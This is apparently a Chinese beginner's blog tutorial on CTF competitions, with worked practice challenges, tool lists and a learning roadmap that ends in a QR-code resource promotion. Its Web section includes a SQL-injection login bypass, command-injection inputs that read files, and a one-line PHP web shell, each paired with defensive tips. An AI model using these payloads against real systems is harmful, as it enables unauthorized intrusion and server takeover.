摘要?jiǎng)e再說(shuō) CTF 是大佬專屬了本文從零帶你搞懂 CTF 的賽制與題型再用五步解題方法論帶你逐題拆解Misc、Crypto、Web、Reverse、取證五大方向的經(jīng)典練習(xí)題附命令、腳本和解題思路。文末還有練習(xí)平臺(tái)推薦 新手工具箱。全程配圖建議先收藏再慢慢練。重要說(shuō)明本文所有練習(xí)題均為CTF 平臺(tái) / 本地靶機(jī)中的授權(quán)練習(xí)環(huán)境請(qǐng)勿在任何未經(jīng)授權(quán)的真實(shí)系統(tǒng)上嘗試。CTF 的樂(lè)趣在于合法地變強(qiáng)而不是違法地炫技。一、開(kāi)篇CTF 是什么為什么新手也該玩先自我拷問(wèn)三連是不是覺(jué)得 CTFCapture The Flag奪旗賽是黑客大神的專屬游戲是不是收藏過(guò)一堆CTF 入門(mén)資料結(jié)果連題目長(zhǎng)啥樣都沒(méi)見(jiàn)過(guò)是不是刷題時(shí)經(jīng)常拿到題一臉懵看完題解恍然大悟如果中招恭喜你——你只是缺一套解題框架不是缺天賦。CTF 到底是什么一句話它是安全圈的編程競(jìng)賽——主辦方把各種安全漏洞做成題目Challenge參賽者通過(guò)破解拿到一段特定格式的憑證也就是flag通常長(zhǎng)這樣flag{xxxxxxxx}提交正確即可得分。為什么新手也建議玩 CTF 它把抽象的安全知識(shí)變成具體的小目標(biāo)玩著玩著就學(xué)會(huì)了 做題 查資料 動(dòng)手 復(fù)盤(pán)比死記硬背效率高 10 倍 各大企業(yè) SRC 招聘、安全崗面試CTF 經(jīng)歷都是硬通貨。二、先懂規(guī)則CTF 的賽制與題型全景玩之前先看懂戰(zhàn)場(chǎng)長(zhǎng)什么樣。三大賽制賽制英文玩法解題賽Jeopardy闖關(guān)式做題一個(gè) flag 一題新手首選攻防賽Attack-Defense一邊攻擊別人靶機(jī)一邊守住自己的團(tuán)隊(duì)配合混合賽Mix解題 攻防結(jié)合綜合實(shí)力戰(zhàn)六大題型也是你刷題的方向題型考點(diǎn)上手難度 Web 安全SQL 注入、XSS、文件上傳、命令執(zhí)行★★ Crypto 密碼學(xué)凱撒、Base64、RSA、AES★ Misc 雜項(xiàng)隱寫(xiě)、文件分析、編碼★最友好 Reverse 逆向反編譯、脫殼、算法還原★★★★ Pwn 二進(jìn)制棧溢出、堆利用、格式化串★★★★★? Forensics 取證流量分析、磁盤(pán)/內(nèi)存取證★★★新手推薦路線Misc → Crypto → Web → Reverse/Pwn由易到難先建立信心和手感。三、拿到題先做這五步解題方法論刷題最怕的是沒(méi)有章法。記住下面這套五步法能幫你少走 80% 的彎路 看題識(shí)類先判斷這是哪類題WebMisc猜出題人想考什么 信息收集讀源碼、看屬性、抓包、strings掃一遍信息就是分?jǐn)?shù) 定位考點(diǎn)把收集到的信息匹配到你已經(jīng)知道的套路?? 構(gòu)造利用寫(xiě)腳本 / 手工構(gòu)造 payload把思路變成操作 提交 flag驗(yàn)證格式然后寫(xiě) WriteUp 復(fù)盤(pán)這一步?jīng)Q定你能不能進(jìn)步。下面我們就用這套方法把五大方向的經(jīng)典題各拆一道。四、練習(xí)題 Part 1Misc 雜項(xiàng)新手第一站練習(xí) 1文件打不開(kāi)可能是文件頭被改了題目給你一個(gè)flag文件雙擊打不開(kāi)擴(kuò)展名也對(duì)不上?？键c(diǎn)常見(jiàn)文件頭識(shí)別。解題思路用十六進(jìn)制工具HxD / 010 Editor /xxd打開(kāi)文件對(duì)照常見(jiàn)文件頭JPEG 是FF D8 FFPNG 是89 50 4E 47ZIP 是50 4B 03 04發(fā)現(xiàn)頭被改 → 修復(fù)成正確文件頭 → 保存 → 打開(kāi)即得 flag。# 用 xxd 查看文件頭 xxd flag | head -5練習(xí) 2圖片里藏了 flag隱寫(xiě)三步走題目一張看起來(lái)人畜無(wú)害的圖片?？键c(diǎn)文件隱寫(xiě)分離、字符串、屬性、LSB。解題思路按順序試多數(shù)題三步內(nèi)解決# 第 1 步直接掃字符串flag 可能就明晃晃躺在里面 strings 圖片.png | grep -i flag # 第 2 步用 binwalk 看看圖片里有沒(méi)有套娃的隱藏文件 binwalk 圖片.png # 查看 binwalk -e 圖片.png # 分離 # 第 3 步看屬性exiftool注釋里也可能藏線索 exiftool 圖片.png如果前幾步都沒(méi)收獲再考慮 LSB 隱寫(xiě)用zsteg/steghide把圖片最不重要的最低位信息提取出來(lái)。練習(xí) 3一串亂碼 多重編碼題目給你一串ZmxhZ3t5b3VfZ290X2l0fQ?？键c(diǎn)Base64 / 多重編碼識(shí)別。解題思路看到末尾的幾乎可以斷定是 Base64。直接解echo ZmxhZ3t5b3VfZ290X2l0fQ | base64 -d # 輸出可能又是一串編碼 → 繼續(xù)解直到出現(xiàn) flag{...}心法CTF 里不會(huì)直接給你 flag常見(jiàn)套路就是套娃式編碼——Base64 → 凱撒 → 十六進(jìn)制……循環(huán)往復(fù)直到原形畢露。五、練習(xí)題 Part 2Crypto 密碼學(xué)燒腦但漲分快練習(xí) 4凱撒移位暴力爆破就行題目khoor是什么意思凱撒密碼位移 3 位就是 hello考點(diǎn)古典密碼的暴力破解思路。解題思路凱撒只有 25 種位移寫(xiě)腳本全試一遍哪個(gè)讀得通就是哪個(gè)def caesar_break(cipher): for shift in range(26): out .join(chr((ord(c) - 97 shift) % 26 97) if a c z else c for c in cipher) print(f位移 {shift}: {out}) caesar_break(khoor)練習(xí) 5RSA 入門(mén)——n 很小直接分解題目給你n、e、c其中n是兩個(gè)小素?cái)?shù)的乘積比如 3 位數(shù)的 n。考點(diǎn)RSA 的原理與基礎(chǔ)攻擊——n 可分解。解題思路RSA 解密需要私鑰d而d依賴n的分解。n 小到能被秒分解就直接套公式from sympy import factorint from Crypto.Util.number import long_to_bytes, inverse n 143 # 示例11 * 13 e 7 c 106 # 示例密文 p, q factorint(n).keys() # 分解 n 得到 p、q phi (p - 1) * (q - 1) d inverse(e, phi) # 求私鑰 d m pow(c, d, n) # 解密 print(long_to_bytes(m)) # 轉(zhuǎn)成可讀文本進(jìn)階提示RSA 的經(jīng)典攻擊點(diǎn)還有「n 過(guò)小」「e 過(guò)小」「兩個(gè) n 共用素?cái)?shù)」「p、q 相近」等都是 CTF 高頻考點(diǎn)。六、練習(xí)題 Part 3Web 攻防最貼近實(shí)戰(zhàn)練習(xí) 6登錄框注入萬(wàn)能密碼秒過(guò)題目一個(gè)登錄頁(yè)只知道用戶名可能是admin。考點(diǎn)SQL 注入字符串拼接。解題思路登錄框如果直接把輸入拼進(jìn) SQL構(gòu)造恒真條件就能繞過(guò)密碼用戶名admin 密碼 or 11 ---- 后臺(tái)實(shí)際執(zhí)行的 SQL被注入后 SELECT * FROM users WHERE nameadmin AND pass or 11 --11永遠(yuǎn)成立 → 直接登錄成功 → 拿到管理員權(quán)限 → 找到 flag。防御提示用參數(shù)化查詢把輸入當(dāng)數(shù)據(jù)而不是命令從根上杜絕注入。練習(xí) 7ping 一下還能執(zhí)行命令題目一個(gè)網(wǎng)絡(luò)連通性測(cè)試功能輸入 IP 就執(zhí)行 ping?？键c(diǎn)命令注入。解題思路如果程序把輸入直接拼進(jìn)系統(tǒng)命令就可以用連接符越權(quán)執(zhí)行別的命令127.0.0.1; cat flag.php # 分號(hào)先 ping 再讀文件 127.0.0.1 | ls # 管道把 ping 輸出丟給 ls防御提示黑名單不可靠應(yīng)白名單校驗(yàn)只允許 IP 格式 盡量用庫(kù)函數(shù)而非拼接系統(tǒng)命令。練習(xí) 8上傳一個(gè)文件就拿下服務(wù)器題目一個(gè)文件上傳功能只能傳圖片?？键c(diǎn)文件上傳漏洞。解題思路很多站只查擴(kuò)展名或 Content-Type試著上傳一個(gè)能執(zhí)行命令的腳本內(nèi)容極簡(jiǎn)再用地址訪問(wèn)它?php system($_GET[c]); ? !-- 一句話木馬僅 CTF 靶機(jī)環(huán)境演示 --防御提示上傳必須白名單校驗(yàn)后綴 MIME 文件內(nèi)容三重檢查 上傳目錄禁止腳本執(zhí)行。這也是企業(yè)真實(shí)漏洞的高發(fā)區(qū)。七、練習(xí)題 Part 4Reverse 入門(mén)逆向第一課練習(xí) 9flag 就明文躺在程序里題目給一個(gè) Windows 可執(zhí)行文件?？键c(diǎn)簡(jiǎn)單逆向 / 字符串提取。解題思路有些入門(mén)題flag 直接以明文字符串存在程序里根本不用反編譯# Linux 下 strings 程序.exe | grep -i flag # 或者直接用記事本/編輯器的搜索功能搜 flag 或 {當(dāng)字符串搜索無(wú)果時(shí)才需要上 IDA / Ghidra 做反編譯、跟邏輯。先簡(jiǎn)單后復(fù)雜是逆向的黃金準(zhǔn)則。附Pwn 是什么先混個(gè)臉熟Pwn 考的是二進(jìn)制漏洞利用比如棧溢出程序把超出長(zhǎng)度的數(shù)據(jù)寫(xiě)進(jìn)內(nèi)存覆蓋返回地址從而劫持程序執(zhí)行流程。入門(mén)可以先看ret2text返回到已有后門(mén)函數(shù)這類經(jīng)典題型等 Web 和逆向玩順了再來(lái)。八、練習(xí)題 Part 5取證 / 流量分析真實(shí)感最強(qiáng)練習(xí) 10一個(gè) .pcap 文件flag 藏在流量里題目給你一個(gè)抓包文件capture.pcap。考點(diǎn)流量分析。解題思路用 Wireshark 打開(kāi)先看協(xié)議分層HTTP 多不多有沒(méi)有可疑 IP過(guò)濾 HTTP 請(qǐng)求找 POST 提交的數(shù)據(jù)或上傳的文件# 命令行版tshark 過(guò)濾 HTTP 請(qǐng)求地址 tshark -r capture.pcap -Y http.request -T fields -e http.request.uri # 或直接看所有 HTTP 的明文內(nèi)容 tshark -r capture.pcap -Y http -T fields -e http.file_data下載/導(dǎo)出可疑對(duì)象Wireshark 菜單文件 → 導(dǎo)出對(duì)象 → HTTP多半 flag 就藏在里面。心法流量題的核心就一個(gè)字——跟。跟著可疑的連接找到數(shù)據(jù)的來(lái)龍去脈。九、練習(xí)題索引表一表看懂考什么、用什么題型常見(jiàn)考點(diǎn)順手工具難度Misc文件頭、隱寫(xiě)、編碼strings / binwalk / zsteg / CyberChef★Crypto凱撒 / Base64 / RSAPython (sympy / pycryptodome) / CyberChef★★Web注入 / 上傳 / 命令執(zhí)行Burp Suite / sqlmap / 瀏覽器★★Reverse字符串 / 反編譯 / 脫殼strings / IDA / Ghidra / UPX★★★★Pwn棧溢出 / 堆利用pwntools / gdb / checksec★★★★★Forensics流量 / 磁盤(pán) / 內(nèi)存Wireshark / tshark / Volatility★★★新手工具箱三件套CyberChef在線編碼/解碼神器絕不吃灰、strings binwalkMisc 救命稻草、一個(gè)順手的瀏覽器抓包工具。十、去哪練練習(xí)平臺(tái) 上路建議國(guó)內(nèi)平臺(tái)對(duì)新手最友好BUUCTF題庫(kù)全、有題解討論區(qū)新手第一個(gè)號(hào)建議開(kāi)在這CTFHub按考點(diǎn)分類極清晰非常適合缺哪補(bǔ)哪攻防世界XCTF題型標(biāo)準(zhǔn)適合進(jìn)階NSSCTF / i春秋題目新、社區(qū)活躍。國(guó)際平臺(tái)英文題開(kāi)闊視野PicoCTF官方新手友好邊學(xué)邊做HackTheBox偏真實(shí)環(huán)境滲透進(jìn)階后玩。上路建議按路線刷Misc → Crypto → Web → Reverse別一上來(lái)硬啃 Pwn一道題搞懂比刷十道重要卡住 30 分鐘沒(méi)思路就查 WriteUp看懂后自己重做一遍寫(xiě) WriteUp哪怕寫(xiě)給自己看也能把感覺(jué)會(huì)了變成真會(huì)了。十一、寫(xiě)在最后互動(dòng)時(shí)間CTF 入門(mén)說(shuō)難也難說(shuō)簡(jiǎn)單也簡(jiǎn)單——難在信息差簡(jiǎn)單在套路就那么多。今天這篇幫你把規(guī)則、題型、方法、真題、工具、平臺(tái)一次配齊了? 賽制題型全景圖先看懂戰(zhàn)場(chǎng)? 五步解題法拿到題不慌? 五大方向經(jīng)典練習(xí)題拆解Misc/Crypto/Web/Reverse/取證? 練習(xí)平臺(tái) 工具清單知道去哪練、用啥練最后網(wǎng)絡(luò)安全需要學(xué)習(xí)那些知識(shí)網(wǎng)絡(luò)安全零基礎(chǔ)入門(mén)學(xué)習(xí)路線規(guī)劃初級(jí)1、網(wǎng)絡(luò)安全理論知識(shí)2天①了解行業(yè)相關(guān)背景前景確定發(fā)展方向。②學(xué)習(xí)網(wǎng)絡(luò)安全相關(guān)法律法規(guī)。③網(wǎng)絡(luò)安全運(yùn)營(yíng)的概念。④等保簡(jiǎn)介、等保規(guī)定、流程和規(guī)范。非常重要2、滲透測(cè)試基礎(chǔ)一周①滲透測(cè)試的流程、分類、標(biāo)準(zhǔn)②信息收集技術(shù)主動(dòng)/被動(dòng)信息搜集、Nmap工具、Google Hacking③漏洞掃描、漏洞利用、原理利用方法、工具M(jìn)SF、繞過(guò)IDS和反病毒偵察④主機(jī)攻防演練MS17-010、MS08-067、MS10-046、MS12-20等3、操作系統(tǒng)基礎(chǔ)一周①Windows系統(tǒng)常見(jiàn)功能和命令②Kali Linux系統(tǒng)常見(jiàn)功能和命令③操作系統(tǒng)安全系統(tǒng)入侵排查/系統(tǒng)加固基礎(chǔ)4、計(jì)算機(jī)網(wǎng)絡(luò)基礎(chǔ)一周①計(jì)算機(jī)網(wǎng)絡(luò)基礎(chǔ)、協(xié)議和架構(gòu)②網(wǎng)絡(luò)通信原理、OSI模型、數(shù)據(jù)轉(zhuǎn)發(fā)流程③常見(jiàn)協(xié)議解析HTTP、TCP/IP、ARP等④網(wǎng)絡(luò)攻擊技術(shù)與網(wǎng)絡(luò)安全防御技術(shù)⑤Web漏洞原理與防御主動(dòng)/被動(dòng)攻擊、DDOS攻擊、CVE漏洞復(fù)現(xiàn)5、數(shù)據(jù)庫(kù)基礎(chǔ)操作2天①數(shù)據(jù)庫(kù)基礎(chǔ)②SQL語(yǔ)言基礎(chǔ)③數(shù)據(jù)庫(kù)安全加固6、Web滲透1周①HTML、CSS和JavaScript簡(jiǎn)介②OWASP Top10③Web漏洞掃描工具④Web滲透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏掃等恭喜你如果學(xué)到這里你基本可以從事一份網(wǎng)絡(luò)安全相關(guān)的工作比如滲透測(cè)試、Web 滲透、安全服務(wù)、安全分析等崗位如果等保模塊學(xué)的好還可以從事等保工程師。薪資區(qū)間6k-15k到此為止大概1個(gè)月的時(shí)間。你已經(jīng)成為了一名“腳本小子”。那么你還想往下探索嗎想要入坑黑客網(wǎng)絡(luò)安全的朋友給大家準(zhǔn)備了一份282G全網(wǎng)最全的網(wǎng)絡(luò)安全資料包免費(fèi)領(lǐng)取7、腳本編程初級(jí)/中級(jí)/高級(jí)在網(wǎng)絡(luò)安全領(lǐng)域。是否具備編程能力是“腳本小子”和真正黑客的本質(zhì)區(qū)別。在實(shí)際的滲透測(cè)試過(guò)程中面對(duì)復(fù)雜多變的網(wǎng)絡(luò)環(huán)境當(dāng)常用工具不能滿足實(shí)際需求的時(shí)候往往需要對(duì)現(xiàn)有工具進(jìn)行擴(kuò)展或者編寫(xiě)符合我們要求的工具、自動(dòng)化腳本這個(gè)時(shí)候就需要具備一定的編程能力。在分秒必爭(zhēng)的CTF競(jìng)賽中想要高效地使用自制的腳本工具來(lái)實(shí)現(xiàn)各種目的更是需要擁有編程能力.零基礎(chǔ)入門(mén)建議選擇腳本語(yǔ)言Python/PHP/Go/Java中的一種對(duì)常用庫(kù)進(jìn)行編程學(xué)習(xí) 搭建開(kāi)發(fā)環(huán)境和選擇IDE,PHP環(huán)境推薦Wamp和XAMPP IDE強(qiáng)烈推薦Sublime ·Python編程學(xué)習(xí)學(xué)習(xí)內(nèi)容包含語(yǔ)法、正則、文件、 網(wǎng)絡(luò)、多線程等常用庫(kù)推薦《Python核心編程》不要看完 ·用Python編寫(xiě)漏洞的exp,然后寫(xiě)一個(gè)簡(jiǎn)單的網(wǎng)絡(luò)爬蟲(chóng) ·PHP基本語(yǔ)法學(xué)習(xí)并書(shū)寫(xiě)一個(gè)簡(jiǎn)單的博客系統(tǒng) 熟悉MVC架構(gòu)并試著學(xué)習(xí)一個(gè)PHP框架或者Python框架 (可選) ·了解Bootstrap的布局或者CSS。8、超級(jí)黑客這部分內(nèi)容對(duì)零基礎(chǔ)的同學(xué)來(lái)說(shuō)還比較遙遠(yuǎn)就不展開(kāi)細(xì)說(shuō)了貼一個(gè)大概的路線。網(wǎng)絡(luò)安全工程師企業(yè)級(jí)學(xué)習(xí)路線視頻配套資料國(guó)內(nèi)外網(wǎng)安書(shū)籍、文檔工具當(dāng)然除了有配套的視頻同時(shí)也為大家整理了各種文檔和書(shū)籍資料工具并且已經(jīng)幫大家分好類了。一些我自己買(mǎi)的、其他平臺(tái)白嫖不到的視頻教程要學(xué)習(xí)網(wǎng)安其實(shí)不難難的是堅(jiān)持和相信自己我的經(jīng)驗(yàn)是既然已經(jīng)選定網(wǎng)安你就要相信它相信它能成為你日后進(jìn)階的高效渠道這樣自己才會(huì)更有信念去學(xué)習(xí)才能在碰到困難的時(shí)候堅(jiān)持下去。機(jī)會(huì)屬于有準(zhǔn)備的人這是一個(gè)實(shí)力的時(shí)代。人和人之間的差距不在于智商而在于如何利用業(yè)余時(shí)間只要你想學(xué)習(xí)什么時(shí)候開(kāi)始都不晚不要擔(dān)心這擔(dān)心那你只需努力剩下的交給時(shí)間這份完整版的學(xué)習(xí)資料已經(jīng)上傳CSDN朋友們?nèi)绻枰梢晕⑿艗呙柘路紺SDN官方認(rèn)證二維碼免費(fèi)領(lǐng)取【保證100%免費(fèi)】